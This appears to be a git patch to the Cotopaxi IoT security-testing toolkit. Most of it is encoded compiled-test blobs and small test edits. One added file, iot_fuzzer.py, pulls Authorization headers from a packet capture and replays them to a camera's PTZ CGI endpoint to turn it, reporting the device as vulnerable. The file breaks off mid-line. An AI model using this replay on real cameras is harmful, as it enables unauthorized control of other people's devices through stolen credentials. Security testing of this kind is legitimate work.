zhFxM^#4&4Pc-O*q<&~Y-#9jm)2o50V1YoinTt9=G0K6c^Wb0~&S(W>w^dZ(U1g8+3 zLC}w22*CveHxW!DNFun8AdTQ71UP2P_$q$PA;2-H|6)1N3!pOa53Xy_aEqe=e8kJH zyQ*mjeF1pxhSx{8><>*e4feJG0zP~#fMz${Phmp^=yTCG;Y$f*hllxhE zk3sKQce&^jh;stF+FSVYhhp|(n{W-K*k&)-wo1MKfta=QpTQhUU|TJH$@)@&Z6|2x zqyT0phW-#RN?=2PKD|x~fD6#a@HGd@UJC^_hmo%+m)5-z9`8t^^I>0S4DB$hcwUfW zJg;O>2=LyV*^-akhVxb}e*x3Fsb)47%42de2|MJp7Eh@5PO`bA%)V7=UABaqF=+Np zHdn*)f9z`Lp4&T4>!uv+yRA0i<`mqwR4|C7)FH5hbOsx#v9|o9*CLU@(K1oqU{2Yq z?u_yyKm|!A>VE@RcT*JgjCAOvWBm}JT6EHEr&SVMu>PKr1G+P28-(`Py*J$yu&pwDvftQwP(M8Q+$w)riZ$aU9{*zIsk=pYx2)Fh`Dtgi{(YnV k{e?@b9(LivqbpBt>7G#56EZv@$k++|TF*|vw*=vT0GO;$+yDRo literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_rtsp_utils.cpython-311.pyc b/tests/__pycache__/test_rtsp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4714be5027a461fec4e8fd0edb5e5272d2794ec1 GIT binary patch literal 1174 zcmZuv&1(}u6o0e3Nw!I9+gOzr)Ri10A`M9KP{fl(L5w9$J*2-Z{x8A2IycgL$aC9@RV)Ik#(7Yp%@8UaT0nW1| zrgmh2J>1dIRdd7`S(8W-mnAS0JIL)tMx=Tgb!;^gE6ntl^bSK0+|j_7q{VO-GV9Yz z4a?Vj)AK#8?h373SzORszGZte$K+lrupmv!3c8r$m~KJUSjBQoLAr9Q(J%$7awIJX z*LQ2K9eLNH2O}E4-=9Qz3rs*HK$i@*0lG{X73APtc;n!;S{y?+5Tawa`%jQ;f&Y(f zb-=e_nYGymRt5{&(nt21G4SKRz_?+o+Q0|68h{zFQb7?(^b1tZEkuTMK^{TU56j0C z70IEDzqTBtF(f{d3((izO2 zBqj1aI7^~<3Z+M#s@33}+K6gDX_st};@og+n1R|toXHfNk5QUAg(iZ3wB|aF+u$N> zHbEa6Oi~PQo-`aM$rRz|MOjafQ>HS%SmEWRQfa;%D3pqz_B*Zck9sG<;;x_)sgb;I zNP043><4IF(0Vt4jd#Xq9>R_8@cN%-whKe6my{U-b(VB5T>nMt->0@LDA~>R@A6bv to;u83dsE!cQrK4t2TB2%X!R1HOrw8T)n6H%C&mB( literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc b/tests/__pycache__/test_server_fingerprinter.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e9c3605374c4801438e0c8ecda43d43c847ae834 GIT binary patch literal 6933 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 literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_ssdp_utils.cpython-311.pyc b/tests/__pycache__/test_ssdp_utils.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..57f8a9e5654654ca8290135f89016ae47c07f485 GIT binary patch literal 1174 zcmZuv&1(}u6o0e3Nw!IA+gOzr)Ri10A`M9KP{dP7gtX1W&z1;;AR!%XSk(osT!~bLPF@yw77}Nx+dh-ZP)X z0Dh4W4U~JMyMxCz7@&i}49R9X!&9~;N7iKqhGN8Q#fj;$9v`>kPC`#Gkl+CriA^w6 zGqEcJ?BfoHu9_pp$ht(5xGI4e+eL0aG$PfLsAFrXNMRF@GaY$Jt6memIX;tme9o%Cv*#{#!HrC3epuCwVEkVl_qIP zxV~F)?a;dtJ{Z#I{q7XX+h77B0lH+cP0(e^C@TjSC~ojtC5oXN2+?ue-KR*l!T-m$ z*5{kB!kX+OD}V(}=@Way82Hg&VB9cPP2hc84ZsXoKC6g0`UNWI79zvBAdevKV`5mQ z94MY?R|BOiR=gm-{(?@ATr^EPozJbhj+v{OZlkhlt(J2umhbtEYBg6uSnB1MR*vrR zdX#&fQRgAl^;d#gY2(Up{j*UL*U{+RLDGU_b>>jbd{}6!^Lukh!u9QLpFO^;y|drj zTgvOy7S1k4;V&vwQLXHloCitH9oJ~s#E)|RyivA8OD~BpASN(G5Y|GC$TeiV43buV zb|fj5>A-ms##1Og>XfY-=hQ}2`&qk;1_{m$w}Kg{4aAvD!Nmxr*#R^m{9_f@aoidg zy=D{ip}`cz@cLQ9agt2Y`@AsgNpeb+7K-n~!&%wUz9Fl08(i$b_pC17!yNdsY1fBO)hk literal 0 HcmV?d00001 diff --git a/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc b/tests/__pycache__/test_traffic_analyzer.cpython-311.pyc new file mode 100644 index 0000000000000000000000000000000000000000..72c0346765ad2678d0c435d520d4ffd84f07faa1 GIT binary patch literal 6428 zcmeHL&u_#aG?2;ZvgJ*2dV$XPI z#`!U#QVvu~5!G^7m0VUzd!V50p~oKSU(hicsn$qHNIh|L#2!#i{l2lsabi1xszrO~ z_|3;}-uu2EGvCkqzW4q9IUEimxY}Mm6%Xx0=wIZ)y?oWon~M}ekCA}pkw6KaEHzI# z|DJhIfRxZ#I>*d26cQN0oAu^=^FAl<%ldP89z)(gACQNSA~D#H)Ikb~)Yon9AOh9v zW|4sJI(d~A0??ws(7^$}-G#%&-*{?f5? zhJt4nkvrOHus3B%XLV82H8!QFtgiB@l$7Lnna?g8q8fWmI+~7BHk0Ee`89b@cnE1p zmCtiZLC+U-cakIZ+j^1_#@@0)aoAVZRmNZ#X33g9u)>+1BH z3K2@9?MnR(bq}rA)kEXzB~bUM1(b)WlK%#^Aea_CZS*)_YmC(ug-wZzEU%^uIZ@U% z&u)hrj5ZSA34@U@DrGYb`4+!y^I|EURb|ej0{?l!Bt-ghraE2&`}BvJRLAY@iL;q z*Qip*h37uAV`9Tg2ZBE$fbw>D16`r!+I#>tt+gpoY3iNz33}WvOQDv!ryFGjqH$*0 z@SMyT`}2w>>5>9O+|sCVSj#Ajte%lHHX~;9Y);fPJ}t7mEU@B|q(7_IGOlQON>+(^ zsw!6PfV|zc^~p&;j%o&WSB)!|Abni{a5XcxK2eMuw<5$+@{1Bb+!p5=)FaY2@5y?}Q{v zT83EbitPk4!e*gKnhJY0YUEyD9rwsI-Isys8nHb%xI=!FaPfC87hi@t&3&JnU0-a_ zo-VKg0IR;T4+X*%{*6B$DB>v#PnmeCM#{urM~isO!eb^Ls}?>=tpR(FS@@WVkGW;a z`a%)MEF3d&tZ8Ft52=yS#OgY`#zV-oW^@`3DSz5wJ$BhS{yUZ?>NhUDBcpgV uO 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 literal 0 HcmV?d00001 diff --git a/tests/test_amplifier_detector.py b/tests/test_amplifier_detector.py index 05fd385..a87db01 100644 --- a/tests/test_amplifier_detector.py +++ b/tests/test_amplifier_detector.py @@ -44,7 +44,6 @@ def setUpClass(cls): ) def test_reflector_sniffer_pos(self): - args = ["8.8.8.8", "-I", "0"] options = amplifier_parse_args(args) sniffer = ReflectorSniffer(options) diff --git a/tests/test_cotopaxi_tester.py b/tests/test_cotopaxi_tester.py index 8d02d29..f733408 100644 --- a/tests/test_cotopaxi_tester.py +++ b/tests/test_cotopaxi_tester.py @@ -76,7 +76,6 @@ def test_parse_port_neg(self): self.assertIn("Could not parse port: invalid literal for int", output) def test_parse_port_pos(self): - result = parse_port("1") expected = 1 self.assertEqual(result, expected) diff --git a/tests/test_protocol_fuzzer.py b/tests/test_protocol_fuzzer.py index beb3032..74aaa1c 100644 --- a/tests/test_protocol_fuzzer.py +++ b/tests/test_protocol_fuzzer.py @@ -186,6 +186,7 @@ def test_protocol_fuzzer_mqtt_pos(self): # print "\n" + 30 * "-" + "\n" + output + "\n" + 30 * "-" + "\n" self.assertIn("Fuzzing stopped", output) + """ print(mutate_testcase("test.txt", "abcd", 0, 0, 88)) print(mutate_testcase("test.txt", "abcd", 0, 1, 88)) diff --git a/tests/test_traffic_analyzer.py b/tests/test_traffic_analyzer.py index f04ecd9..70494dd 100644 --- a/tests/test_traffic_analyzer.py +++ b/tests/test_traffic_analyzer.py @@ -98,7 +98,11 @@ def test_main_ultimate_pcap_pos(self): def test_main_max_packets_pos(self): output = scrap_output( main, - ["tests/traffic_samples/chrissanders.org_http_post.pcapng", "--max", "10",], + [ + "tests/traffic_samples/chrissanders.org_http_post.pcapng", + "--max", + "10", + ], ) self.assertIn("Loaded 21 packets from the provided file", output) self.assertIn("Found 10 packets", output) From 6b3fe611f24bb91e777d848079f18d01ae3b72fb Mon Sep 17 00:00:00 2001 From: "N.Pranav Krishna" <52345192+npranav7619@users.noreply.github.com> Date: Fri, 29 Mar 2024 19:40:08 +0530 Subject: [PATCH 2/4] Add files via upload --- cotopaxi/iot_fuzzer.py | 159 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 159 insertions(+) create mode 100644 cotopaxi/iot_fuzzer.py diff --git a/cotopaxi/iot_fuzzer.py b/cotopaxi/iot_fuzzer.py new file mode 100644 index 0000000..be5bc06 --- /dev/null +++ b/cotopaxi/iot_fuzzer.py @@ -0,0 +1,159 @@ +# -*- coding: utf-8 -*- +"""Tool for protocol fuzzing of network service at given IP and port ranges.""" +# +# Copyright (C) 2021 Cotopaxi Contributors. All Rights Reserved. +# Copyright (C) 2020 Samsung Electronics. All Rights Reserved. +# Authors: Jakub Botwicz, Michał Radwański +# +# This file is part of Cotopaxi. +# +# Cotopaxi is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# Cotopaxi is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Cotopaxi. If not, see . +# + +import sys +from scapy.all import PcapNgReader +import requests +import socket +import base64 + +def extract_unique_authorization_headers(file_path, name, ip, direc): + try: + # Read packets from the pcapng file + with PcapNgReader(file_path) as pcapng_reader: + packets = list(pcapng_reader) + + # Set to store unique Authorization headers + unique_authorization_headers = set() + + # Filter packets with HTTP layer (TCP and containing 'GET') + http_packets = [pkt for pkt in packets if pkt.haslayer('TCP') and pkt.haslayer('Raw') and 'GET' in str(pkt['Raw'].load)] + + # Extract and print unique Authorization headers + for pkt in http_packets: + http_request = pkt['Raw'].load.decode('utf-8', 'replace') + + # Check if the HTTP request contains "Authorization" header + if 'Authorization' in http_request: + authorization_header = http_request.split('Authorization: ')[1].split('\r\n')[0] + + # Print the Authorization header only if it's unique + if authorization_header not in unique_authorization_headers: + unique_authorization_headers.add(authorization_header) + headers_pcap = {'Authorization': authorization_header} + get_craft_send(ip, headers_pcap, direc, name) + + except Exception as e: + print(f"Error extracting Authorization headers from pcapng file: {e}") + +def get_craft_send(ip_t, headers_pcap, direc, name): + rot_left = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=left" + rot_right = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=right" + rot_up = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=up" + rot_down = "/web/cgi-bin/hi3510/ptzctrl.cgi?-step=0&-act=down" + if direc == "left": + response = requests.get("http://" + ip_t + rot_left, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to Unauthorized Left turn") + print("================================================================") + elif direc == "right": + response = requests.get("http://" + ip_t + rot_right, headers=headers_pcap) + if response.status_code == 200: + print("================================================================") + print("Test Statistics :") + print("Message Sent : 1") + print("Response Received : 1") + print("0% Messsage Loss") + print("Test Time : ") + print("\n") + print("Device Name : ", name) + print("Vulnerable to 